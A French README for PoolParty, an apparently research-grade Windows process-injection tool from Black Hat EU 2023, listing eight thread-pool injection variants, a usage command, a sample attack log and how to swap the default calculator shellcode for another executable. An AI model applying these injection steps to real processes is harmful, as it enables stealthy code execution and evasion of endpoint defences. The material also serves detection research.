
Un ensemble de techniques d'injection de processus totalement indétectables abusant des pools de threads Windows.
Une collection de techniques d'injection de processus totalement indétectables exploitant les pools de threads Windows. Présenté lors des briefings Black Hat EU 2023 sous le titre - The Pool Party You Will Never Forget: New Process Injection Techniques Using Windows Thread Pools
| ID de variante | Description de la variante |
|---|---|
| 1 | Écraser la routine de démarrage de la fabrique de workers cible |
| 2 | Insérer un élément de travail TP_WORK dans le pool de threads du processus cible |
| 3 | Insérer un élément de travail TP_WAIT dans le pool de threads du processus cible |
| 4 | Insérer un élément de travail TP_IO dans le pool de threads du processus cible |
| 5 | Insérer un élément de travail TP_ALPC dans le pool de threads du processus cible |
| 6 | Insérer un élément de travail TP_JOB dans le pool de threads du processus cible |
| 7 | Insérer un élément de travail TP_DIRECT dans le pool de threads du processus cible |
| 8 | Insérer un élément de travail TP_TIMER dans le pool de threads du processus cible |
PoolParty.exe -V <ID DE VARIANTE> -P <PID CIBLE>
Insérer un élément de travail TP_TIMER dans le processus ID 1234
>> PoolParty.exe -V 8 -P 1234
[info] Starting PoolParty attack against process id: 1234
[info] Retrieved handle to the target process: 00000000000000B8
[info] Hijacked worker factory handle from the target process: 0000000000000058
[info] Hijacked timer queue handle from the target process: 0000000000000054
[info] Allocated shellcode memory in the target process: 00000281DBEF0000
[info] Written shellcode to the target process
[info] Retrieved target worker factory basic information
[info] Created TP_TIMER structure associated with the shellcode
[info] Allocated TP_TIMER memory in the target process: 00000281DBF00000
[info] Written the specially crafted TP_TIMER structure to the target process
[info] Modified the target process's TP_POOL tiemr queue list entry to point to the specially crafted TP_TIMER
[info] Set the timer queue to expire to trigger the dequeueing TppTimerQueueExpiration
[info] PoolParty attack completed successfully
Le shellcode par défaut lance une calculatrice via l'API WinExec.
Pour personnaliser l'exécutable à lancer, modifiez le chemin à la fin de la variable g_Shellcode présente dans le fichier main.cpp.